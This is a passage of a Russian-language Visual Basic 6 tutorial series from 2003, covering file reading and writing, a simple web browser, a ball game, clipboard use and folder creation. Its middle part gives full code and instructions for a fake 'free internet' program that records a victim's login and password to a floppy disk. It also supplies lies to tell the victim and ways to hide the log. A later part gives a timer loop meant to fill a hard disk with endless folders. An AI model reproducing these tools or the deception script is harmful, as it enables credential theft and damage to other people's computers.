Часть 1/Часть 2/Часть 3/Часть 4/Часть 5/Часть 6/Часть 7/Часть 8/Часть 9/ Часть 10 /Часть 11/Часть 12/Часть 13 /Часть 14/Часть 15
Сегодня я тебе расскажу про работу с файлами и папками.
Чтобы
открыть файл тебе надодо использовать функцию Shell. Открываем файл:
r =
Shell("start c:\scandisk.log", vbHide)
Короче как ты наверное, догадался тебе
надо написать:
любой символ = Shell("start имя файла и путь",vbHide)
В этом разделе я тебе начну говорить о файлах, верней не о них, а
как с ними работать, т.е. открывать, изменять, кидать...
Открытие:
Для начала я хотел бы тебе сказать одну штуку, для того чтобы тебя не запутать,
это не то открытие, о котором говорится на 41 шаге, а это не видимое открытие,
т.е. юзер не будет видеть это окно. Вот так это делается:
f = FreeFile ' Функция FreeFile возвращает номер свободного канала, который можно
использовать для работы с файлом, короче его надо всегда писать, но место него
можно написать #номер
Open Имя_файла For [Input \ Output \ Append] As
f 'Открываем файл
Close f
'Закрываем файл
Здесь Имя файла это путь к файлу. Посдле
оператора For идет три слова:
Input - Это означает, что файл
открывается только для чтения, если файл не существует, то VB выдаст
ERROR.
Output - файл открывается для записи, если в файле есть какой -
нибудь текст, то этот текст удаляется, если файл не существует, то он
создается.
Append - файл открывается для записи, текст в нем не
удаляется, а добавляется, если файл не существует то он создается.
Потом идет
ключевое слово As, после него надо указать переменную f(FreeFile).И наконец,
закрываем файл(Close), только не пробуй копировать код в VB, у тебя все равно
ничего не выйдет, т.к. открытие файла нужно для чтения текста, или его
изменения, а об этом читай ниже.
Запись:
Для записи текста служит
оператор print(и write)
f = FreeFile 'Возвращает номер
свободного канала
Open "c:\1.txt" For Append As f
'Открываем файл для добавления записи
Print #f, "Твой ТЕКСТ"'Записываем в файл 1.txt текст
Close #f 'Закрываем файл
Чтение
Для чтения файла
надо использовать оператор LOF.
f = FreeFile
Open "c:\1.txt" For Input
As f
Text1.Text = Input(LOF(f), f) 'Считываем текст из
открытого файла в текстовое поле
Close f
Если ты думаешь, что это
ни фига не надо, то я хочу тебе сказать что ты не прав, любое проффисиональное
приложение использует эту феньку. И для того чтоб показать тебе все прелести
работы с файлами делаем прогу: Разводка ламеров. Халявный инет.
Вся радость в том, что ламер будет думать что он дурит провайдера, а
на самом деле будут дурить его. Хе - Хе. Ламер сам напишет тебе пароль, и скинет
тебе его на дискету. Ты дашь ему прогу, и скажешь, что эта прога нужна для того
чтоб в инете на халяву сидеть. Он спросит: “ а у тебя получилось", ты ему
скажешь: "Да, конешно работает, а если не работала, то я тебе ее не дал бы"...
Ну для большей убедительности расскажешь ему о ней (речь сам придумаешь). Он
впишет свой пароль и логин, и комп сохранит их на дискету. Учитывается то, что
ламер будет вводить в начале не свой пароль, но это неважно, когда - нибудь он
свой введет, и все его записи сохранятся на дискете, потом ты придешь домой,
проверишь все его записи, и по какой - нибудь войдешь.
Ну что начнем? На
форму кидаем 2 кнопки,2 текстовых поля,3 метки, ну и сделаем меню для большей
убедительности. У первой кнопки свойство Caption будет Ввод, у второй Выход; у
текстовых полей убираем свойство Text; у первой метки свойство Caption будет
Password, у второй Login, а у 3 Халявный Интернет; у меню сделаем 2 раздела,
первый раздел по традиции свойство Caption будет файл, а у второго Справка. У
первого раздела первого подраздела свойство Caption будет выход, а у второго
раздела, первого подраздела свойство Caption будет Вызов справки, а у второго
подраздела О программе. Да чуть не забыл, нам надо добавить еще одну форму, для
этого нажми на Add Form, эта фенька находится около кнопки создание меню, под
разделом Edit. Короче у тебя должна получиться такая фенька: Private Sub Command1_Click() 'При нажатии на
кнопку Ввод:
MsgBox "Не установлено соединение или неправильно введен
пароль", 48, "Ошибка при соединение" 'Появится ошибка, с
сообщением о неправильных действиях ламера, если ламер введет не правильный (или
правильный) пароль и логин, то появится ощибка, и когда - нибудь он введет
правильный...
d = FreeFile
Open "a:\1.txt" For Append As d 'Открываем файл для записи, в него будут записываться данные
ламера. Стоит диск a:, это для того чтоб привязать прогу к дискете, и тогда
ламер не сможет скинуть ее себе на комп, и когда он отдаст тебе дискету, ты
прочтешь все его записи.
Print #d, Text1.Text; Tab; Text2.Text 'Записываем данные, которые ламер введет в текстовые
поля
Close #d 'Закрываем файл
End
Sub
Private Sub Command2_Click() 'При нажатии на кнопку
2:
End 'Выходим из проги, можно и с помощью Unload
Me
End Sub
Private Sub ав_Click()
End 'При
выборе Файл/Выход прога отрубается:
End Sub
Private Sub
см_Click() 'При нажатии на кнопку 3(О
проге):
Form2.Show 'Показываем Form2
End
Sub
Теперь займемся оформлением Формы 2.На форму 2 закинем 4 метки: У
первой свойство Caption будет О проге. У второй будет: "Программа ломает твоего
провайдера, через порт TCP/IP; за каждый заход тебе на карту зачисляется 0.25
y.e., это оптимальная сумма для всех карт. Например, у MTU можно снять за раз
0.27 y.e., а у ROL 0.33 y.e., это зависит от скорости обновления сервера. После
нажатия на Ввод появится сообщение о успешном взломе, и в течение 3 минут
постарайтесь выйти из интернета. Где - то через 10 - 15 мин. опять можете
повторять операцию.". У третьей: "Автор проекта не несет ни какой
ответственности за использование проги", и эту метку надо сделать красным
цветом. У четвертой: "Дата создания: 10/07/02".У пятой: "Автор: Падре". Все это
нужно для большей убедительности. У тебя должна получиться такая фенька.
Ну вот и все!!! Теперь подсунь ее какому - нибудь ламеру. Не
забудь скрыть текстовой файл, можешь поменять ему расширения, например записать
не 1.txt, 1.lamer, и тогда ламер не додумается его открыть, даже если его
найдет. А ты сможешь открыть его, если кликнешь на него два раза, и в
открывшимся окне "Открыть с помощью", выбери Noterpad(Блокнот) Исходник проги
можешь скачать отсюда
Ну как я и обещал, будем делать свой инет броузер. Подключи
компонент Microsoft Internet Controls. На форму кинь WebBrowser(назови его WB),
4 кнопки(у 1ой Caption = "Назад", у 2ой = "Вперед", у 3ей = "Домой", у 4ой =
"Обновить"), метку(Caption = "Адрес:", AutoSize = True(это чтоб размеры метки
регулировались автоматом)), и текстовое поле(Caption="http://"). Вот что у тебя
должно было появиться:
Private Sub
Command1_Click() ' Кнопка назаD
WB.GoBack
End
Sub
Private Sub Command2_Click() ' Кнопка
вперед
WB.GoForward
End Sub
Private Sub Command3_Click()
' Кнопка Домой
WB.GoHome
End Sub
Private
Sub Command4_Click() ' Кнопка
Обновить
WB.Refresh
End Sub
Private Sub Form_Resize() ' При изменении размера формы меняем размер WB
WB.Left =
20
WB.Top = 1080
WB.Width = Form1.Width - 140
WB.Height = Form1.Height
- 1500
End Sub
Private Sub Text1_KeyDown(KeyCode As Integer, Shift As
Integer)
If KeyCode = 13 Then ' Если нажата клавиша Enter
то:
WB.Navigate Text1.Text ' Открываем введенный в
текстовое поле адресс
' Меняем заголовок
формы
Form1.Caption = ""
Form1.Caption = Text1.Text &
Form1.Caption
End If
End Sub
Исходник проги качай сдесь
На форму кинь кнопку(Enabled = False), Picture(Enabled = False,
AutoSize = True, BorderStyle = "0 - None"), Timer(Interval = 1). Вот что у тебя
должно получиться:
Вот код:
Dim BallTop As
Boolean 'Тип Boolean озночает то что переменная может
принемать тока 2 значения True и False
Dim Q As Boolean, Q1 As
Boolean
Private Sub Form_KeyDown(KeyCode As Integer, Shift As
Integer)
' если нажата кнопка "вправо", то бита едет
вправо
If KeyCode = 39 Then
Bita1.Left = Bita1.Left + 120
End
If
' если нажата кнопка "влево", то бита едет
влево
If KeyCode = 37 Then
Bita1.Left = Bita1.Left - 120
End
If
End Sub
Private Sub Timer1_Timer()
If BallTop = False Then ' Если BallTop = False то шар скачет вниз
Ball.Top =
Ball.Top + 30
Else 'Если BallTop = True то шар едет
вверх
Ball.Top = Ball.Top - 30
End If
If Ball.Left -
Bita1.Left < 150 And Ball.Left - Bita1.Left > -320 And Bita1.Top <=
Ball.Top + 300 Then ' Сдесь начало вроде понятно, а в конце я
написал Ball.Top + 300 это чтоб мяч ударялся об верх биты
BallTop =
True ' Пускаем шар вверх
Q = True '' И влево
End If
If Q = True Then '
Если Q = True то мяч скачет влево
Ball.Left = Ball.Left - 60
End
If
If Q1 = True Then ' Если Q1 = True то мяч скачет
влево
Ball.Left = Ball.Left + 60
End If
If Ball.Left <= 0
Then ' Если мяч ударяется об левую стенку то меняем его
направление
Q = False
Q1 = True
End If
End Sub
Эту
прогу сам доделай, а то скопировать код любой может(даже я :-)), а вот до
делать...
Исходник проги качай сдесь
Очень часто на конференция встречаются вопросы типа: "Как поместить текст в Clipboard?". Специально для этого существует объект Clipboard. C помощью этого маленького примера я коротко покажу как просто можно с ним взаимодействовать.
1.Создайте стандартный проект.
2.Создайте тестовое поле Text1.
3.Создайте три кнопки с именами cmdCut, cmdCopy и cmdPaste, и соответственно
надписи к ним: "Cut", "Copy", "Paste".
4.Кликните два раза на cmdCut
(кнопка, которая будет вырезать текст) - откроется окно Code. Впишите:
Private Sub cmdCut_Click()
'Вобще - то команды "вырезать" нет - есть положить в
буфер,
'а потом надо просто удалить то, что мы скопировали.
'как
известно чтобы что-то вырезать или вставить нужно это выделить.
'функция
Text1.SelText возвращает именно выделенный текст, итак
'в буфер обмена
помещается всё, что выделено
Clipboard.SetText Text1.Text
'теперь выделенный фрагмент текста
удаляется
Text1.SelText = ""
End
Sub
5.Теперь откройте окошко выбора (сверху окна Code) и выберете
событие cmdCopy - заполним кнопку Copy:
Private SubcmdCopy_Click()
'здесь всё тоже, что и выше, но выделенный фрагмент не
удаляется
Clipboard.SetText Text1.Text
End
Sub
6. Теперь выберите событие кнопки Paste ("Вставить") и впишите:
Private Sub cmdPaste_Click()
'текстовому полю присваивается содержимое буфера обмена
Text1.Text = Text1.Text + Clipboard.GetText
End
Sub
И всё! А чтобы проводить подобные операции с графикой нужно использовать методы GetData и SetData, но об этом потом. Все потом. А сейчас я дам тебе ЗАДАНИЕ. Ну что, испугался? Ну и правильно, ща тебе придется попотеть!!!
Я тебя готовил к этому на протяжении 4 частей, и подготовил. Твоя миссия будет заключаться в создании блокнота, да не просто блокнота, а Чудо Блокнота. Короче ты должен нанести тяжелый удар по Microsoft, чтоб они затрепищали... Ты должен сделать обычный блокнот, но с часами (до этого даже Билл Гейц не додумался:-))). Потом отправляешь его в компанию Microsoft, получаешь бабло, и 50% отдаешь мне. Ну что договорились? Отлично! Только бабки присылай НЕ ЧЕКОМ, а наличкой....
Для создания папок есть функция MKDir
MkDir "c:\44" 'Создаем папку 44
Теперь потготовились к созданию проги
"Убийца Винта"
Вот я сижу перед своим компом, делать не фига, играть невчего, Цой чего - то поет , но из - за того что у меня стремные колонки не фига не разберешь (помойму Группа крови), и я решил продолжить свою писанину. А что касается VB7, о которой я обещал узнать - все засекречено. Злой дядька Билл Гейц не говорит дату выпуска, он сказал мне только то, что VB7 станет объектно - оринтерировочным, и что в нем можно будет делать на уровне предприятий WEB приложения. Появится очень много и другого, я сидел два часа читал перевод статьи, и то не дочитал, и вот я не знаю покупать мне VB6, или подождать выхода VB7. Ну ладно перейдем к делу.
Dim bDIR As Integer ' вводим переменную
bDIR автор учебника: Падре
Private Sub Form_Load()
bDIR = 0
End Sub
Private Sub
Timer1_Timer()
On Error Resume Next ' при ошибке
переходим к следующему, а следующее это тоже самое
MkDir "C:\Создано "
& bDIR & " папок" ' создаем папки
bDIR =
bDIR + 1 ' добавляем в конец имени папки номер, всегда
больший предыдущего на один
End Sub
Если у тебя есть вопросы
по этой части, то оставляй их на форуме, гостевой книге, или пиши в наглую на
мыло: padre03@mail.ru.
Шестая
часть
Дата создания: 9 Марта 2003 года
Место под Банеры |
![]() |